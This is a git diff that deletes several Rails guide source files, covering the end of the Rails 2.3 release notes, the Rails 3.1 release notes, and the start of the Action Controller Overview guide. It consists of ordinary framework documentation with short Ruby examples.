-h4. Fractional seconds for TimeWithZone
-
-The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
-
-<ruby>
->> Time.zone.now.xmlschema(6)
-=> "2009-01-16T13:00:06.13653Z"
-</ruby>
-
-* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
-
-h4. JSON Key Quoting
-
-If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
-
-h4. Other Active Support Changes
-
-* You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
-* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
-* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
-* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
-* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
-* If you memoize a private method, the result will now be private.
-* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+.
-* +number_to_phone+ accepts 7-digit phone numbers now.
-* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences.
-
-h3. Railties
-
-In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
-
-h4. Rails Metal
-
-Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
-
-* More Information:
-** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
-** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
-** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
-** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
-
-h4. Application Templates
-
-Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
-
-<ruby>
-rake rails:template LOCATION=~/template.rb
-</ruby>
-
-This will layer the changes from the template on top of whatever code the project already contains.
-
-* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
-* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
-
-h4. Quieter Backtraces
-
-Building on Thoughtbot's "Quiet Backtrace":http://www.thoughtbot.com/projects/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
-
-h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
-
-Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
-
-You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
-
-h4. rake gem Task Rewrite
-
-The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
-
-* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar
-
-h4. Other Railties Changes
-
-* The instructions for updating a CI server to build Rails have been updated and expanded.
-* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
-* The default +environment.rb+ file has been decluttered.
-* The dbconsole script now lets you use an all-numeric password without crashing.
-* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
-* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatchers+ when you run the +rails+ command, or add them later with +rake rails:update:generate_dispatchers+).
-* Rails Guides have been converted from AsciiDoc to Textile markup.
-* Scaffolded views and controllers have been cleaned up a bit.
-* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
-* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
-* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
-
-h3. Deprecated
-
-A few pieces of older code are deprecated in this release:
-
-* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
-* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
-* Support for Rails components has been removed.
-* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
-* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
-* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
-* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
-* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
-* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
-* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
-* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
-
-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile
deleted file mode 100644
index c4da87dc34..0000000000
--- a/railties/guides/source/3_1_release_notes.textile
+++ /dev/null
@@ -1,431 +0,0 @@
-h2. Ruby on Rails 3.1 Release Notes
-
-Highlights in Rails 3.1:
-
-* Streaming
-* Reversible Migrations
-* Assets Pipeline
-* jQuery as the default JavaScript library
-
-This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-endprologue.
-
-h3. Upgrading to Rails 3.1
-
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
-
-h4. Rails 3.1 requires at least Ruby 1.8.7
-
-Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
-
-h3. Creating a Rails 3.1 application
-
-<shell>
-# You should have the 'rails' rubygem installed
-$ rails new myapp
-$ cd myapp
-</shell>
-
-h4. Vendoring Gems
-
-Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-
-More information: - "bundler homepage":http://gembundler.com
-
-h4. Living on the Edge
-
-+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
-
-<shell>
-$ rails new myapp --edge
-</shell>
-
-If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
-
-<shell>
-$ ruby /path/to/rails/bin/rails new myapp --dev
-</shell>
-
-h3. Rails Architectural Changes
-
-h4. Assets Pipeline
-
-The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
-
-The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide.
-
-h4. HTTP Streaming
-
-HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
-
-h4. Default JS library is now jQuery
-
-jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
-
-<shell>
-$ rails new myapp -j prototype
-</shell>
-
-h4. Identity Map
-
-Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
-
-Rails 3.1 comes with the identity map turned off by default.
-
-h3. Railties
-
-* jQuery is the new default JavaScript library.
-
-* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
-
-* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
-
-* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified.
-
-* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available.
-
-* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed.
-
-* Scaffold controller generator creates format block for JSON instead of XML.
-
-* Active Record logging is directed to STDOUT and shown inline in the console.
-
-* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol.
-
-* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
-
-* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack.
-
-* Added <tt>Rack::Cache</tt> to the default middleware stack.
-
-* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
-
-h3. Action Pack
-
-h4. Action Controller
-
-* A warning is given out if the CSRF token authenticity cannot be verified.
-
-* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used.
-
-* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log.
-
-* URL parameters which return +nil+ for +to_param+ are now removed from the query string.
-
-* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>.
-
-* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
-
-* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options.
-
-* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call.
-
-<ruby>
-class PostsController < ApplicationController
-  USER_NAME, PASSWORD = "dhh", "secret"
-
-  before_filter :authenticate, :except => [ :index ]
-
-  def index
-    render :text => "Everyone can see me!"
-  end
-
-  def edit
-    render :text => "I'm only accessible if you know the password"
-  end
-
-  private
-    def authenticate
-      authenticate_or_request_with_http_basic do |user_name, password|
-        user_name == USER_NAME && password == PASSWORD
-      end
-    end
-end
-</ruby>
-
-..can now be written as
-
-<ruby>
-class PostsController < ApplicationController
-  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
-
-  def index
-    render :text => "Everyone can see me!"
-  end
-
-  def edit
-    render :text => "I'm only accessible if you know the password"
-  end
-end
-</ruby>
-
-* Added streaming support, you can enable it with:
-
-<ruby>
-class PostsController < ActionController::Base
-  stream
-end
-</ruby>
-
-You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information.
-
-* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
-
-h4. Action Dispatch
-
-* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>.
-
-* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array.
-
-* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers.
-
-* Added <tt>Rack::Cache</tt> to the default stack.
-
-* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack.
-
-* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>.
-
-* Template lookup now searches further up in the inheritance chain.
-
-h4. Action View
-
-* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>.
-
-* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>.
-
-* In place +SafeBuffer+ mutation is prohibited in Rails 3.1.
-
-* Added HTML5 +button_tag+ helper.
-
-* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form.
-
-* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options:
-
-<plain>
-tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
-# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
-</plain>
-
-Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
-
-* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility.
-
-* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
-
-* rhtml and rxml are finally removed as template handlers.
-
-* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not.
-
-* The submit form helper does not generate an id "object_name_id" anymore.
-
-* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>.
-
-* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper.
-
-* Allows AM/PM format in datetime selectors.
-
-* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink
-
-h3. Active Record
-
-* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>.
-<ruby>
-class User < ActiveRecord::Base
-  self.pluralize_table_names = false
-end
-</ruby>
-
-* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
-
-<ruby>
-class User < ActiveRecord::Base
-  has_one :account
-end
-
-user.build_account{ |a| a.credit_limit = 100.0 }
-</ruby>
-
-* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
-
-* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
-
-* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
-
-<ruby>
-class Post < ActiveRecord::Base
-  attr_accessible :title
-  attr_accessible :title, :published_at, :as => :admin
-end
-
-Post.new(params[:post], :as => :admin)
-</ruby>
-
-* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation.
-
-* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
-
-* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
-
-* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed.
-
-* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records.
-
-* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations.
-
-* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>.
-
-* limits and offsets are removed from COUNT queries unless both are supplied.
-<ruby>
-People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
-People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
-People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
-</ruby>
-
-* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
-
-* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead.
-
-* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
-
-* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
-
-* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
-
-* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
-
-* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>.
-
-* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement.
-
-<ruby>
-change_table(:users, :bulk => true) do |t|
-  t.string :company_name
-  t.change :birthdate, :datetime
-end
-</ruby>
-
-* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used.
-
-* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations.
-
-* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method.
-<ruby>
-class MyMigration < ActiveRecord::Migration
-  def change
-    create_table(:horses) do |t|
-      t.column :content, :text
-      t.column :remind_at, :datetime
-    end
-  end
-end
-</ruby>
-
-* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down.
-
-* Migrations now use instance methods rather than class methods:
-<ruby>
-class FooMigration < ActiveRecord::Migration
-  def up # Not self.up
-    ...
-  end
-end
-</ruby>
-
-* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods.
-
-* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
-
-<ruby>
-has_many :things, :conditions => 'foo = #{bar}'          # before
-has_many :things, :conditions => proc { "foo = #{bar}" } # after
-</ruby>
-
-Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within.
-
-You can have any "normal" conditions inside the proc, so the following will work too:
-
-<ruby>
-has_many :things, :conditions => proc { ["foo = ?", bar] }
-</ruby>
-
-* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
-
-* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting.
-
-<ruby>
-# Schema: User(name:string, password_digest:string, password_salt:string)
-class User < ActiveRecord::Base
-  has_secure_password
-end
-</ruby>
-
-* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns.
-
-* Setting the id of a +belongs_to+ object will update the reference to the object.
-
-* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics.
-
-* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
-
-* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable.
-
-* The query cache now works with prepared statements. No changes in the applications are required.
-
-h3. Active Model
-
-* +attr_accessible+ accepts an option +:as+ to specify a role.
-
-* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+.
-
-* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting.
-
-* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand.
-
-* Added support for selectively enabling and disabling observers.
-
-* Alternate <tt>I18n</tt> namespace lookup is no longer supported.
-
-h3. Active Resource
-
-* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example,
-
-<ruby>
-class User < ActiveResource::Base
-  self.format = :xml
-end
-</ruby>
-
-h3. Active Support
-
-* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+.
-
-* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+.
-
-* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object.
-
-* Added <tt>Object#in?</tt> to test if an object is included in another object.
-
-* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class.
-
-* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes.
-
-* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+.
-
-* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8.
-
-* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time.
-
-* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>.
-
-Deprecations:
-
-* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library.
-
-h3. Credits
-
-See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
-
-Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev.
diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile
deleted file mode 100644
index b34c223b31..0000000000
--- a/railties/guides/source/action_controller_overview.textile
+++ /dev/null
@@ -1,819 +0,0 @@
-h2. Action Controller Overview
-
-In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
-
-* Follow the flow of a request through a controller
-* Understand why and how to store data in the session or cookies
-* Work with filters to execute code during request processing
-* Use Action Controller's built-in HTTP authentication
-* Stream data directly to the user's browser
-* Filter sensitive parameters so they do not appear in the application's log
-* Deal with exceptions that may be raised during request processing
-
-endprologue.
-
-h3. What Does a Controller Do?
-
-Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
-
-For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
-
-A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
-
-NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
-
-h3. Methods and Actions
-
-A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
-
-<ruby>
-class ClientsController < ApplicationController
-  def new
-  end
-end
-</ruby>
-
-As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
-
-<ruby>
-def new
-  @client = Client.new
-end
-</ruby>
-
-The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more detail.
-
-+ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
-
-Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
-
-h3. Parameters
-
-You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
-
-<ruby>
-class ClientsController < ActionController::Base
-  # This action uses query string parameters because it gets run
-  # by an HTTP GET request, but this does not make any difference
-  # to the way in which the parameters are accessed. The URL for
-  # this action would look like this in order to list activated
-  # clients: /clients?status=activated
-  def index
-    if params[:status] == "activated"
-      @clients = Client.activated
-    else
-      @clients = Client.unactivated
-    end
-  end
-
-  # This action uses POST parameters. They are most likely coming
-  # from an HTML form which the user has submitted. The URL for
-  # this RESTful request will be "/clients", and the data will be
-  # sent as part of the request body.
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      redirect_to @client
-    else
-      # This line overrides the default rendering behavior, which
-      # would have been to render the "create" view.
-      render :action => "new"
-    end
-  end
-end
-</ruby>
-
-h4. Hash and Array Parameters
-
-The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
-
-<pre>
-GET /clients?ids[]=1&ids[]=2&ids[]=3
-</pre>
-
-NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
-
-The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
-
-To send a hash you include the key name inside the brackets:
-
-<html>
-<form accept-charset="UTF-8" action="/clients" method="post">
-  <input type="text" name="client[name]" value="Acme" />
-  <input type="text" name="client[phone]" value="12345" />
-  <input type="text" name="client[address][postcode]" value="12345" />
-  <input type="text" name="client[address][city]" value="Carrot City" />
-</form>
-</html>
-
-When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
-
